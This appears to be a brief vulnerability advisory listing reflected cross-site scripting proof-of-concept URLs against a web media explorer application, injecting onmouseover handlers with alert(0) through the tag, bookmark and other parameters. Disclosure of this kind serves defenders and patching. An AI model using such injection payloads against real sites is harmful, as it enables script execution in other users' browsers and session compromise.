search, tag, bookmark & "another function that registers all extra calls"

Cross Site Scripting: (by using event handlers)

-- Will be executed when a user moves his mouse over the search field.

http://[HOST]/webmediaexpl/htdocs/?tag=" onmouseover=alert(0) ---
-- Will be executed when a user moves his mouse over a tag.

http://[HOST]/webmediaexpl/htdocs/?view=2&thisisnotarealcall=')" onmouseover=alert(0) > ---
-- Will be executed when a user moves his mouse over the column field. (unlikely)

http://[HOST]/webmediaexpl/htdocs/index.php?dir=&bookmark=" onmouseover=alert(0) > ---&action=edit
-- Requires admin access, however since this is a hidden tag exploitation is highly unlikely.
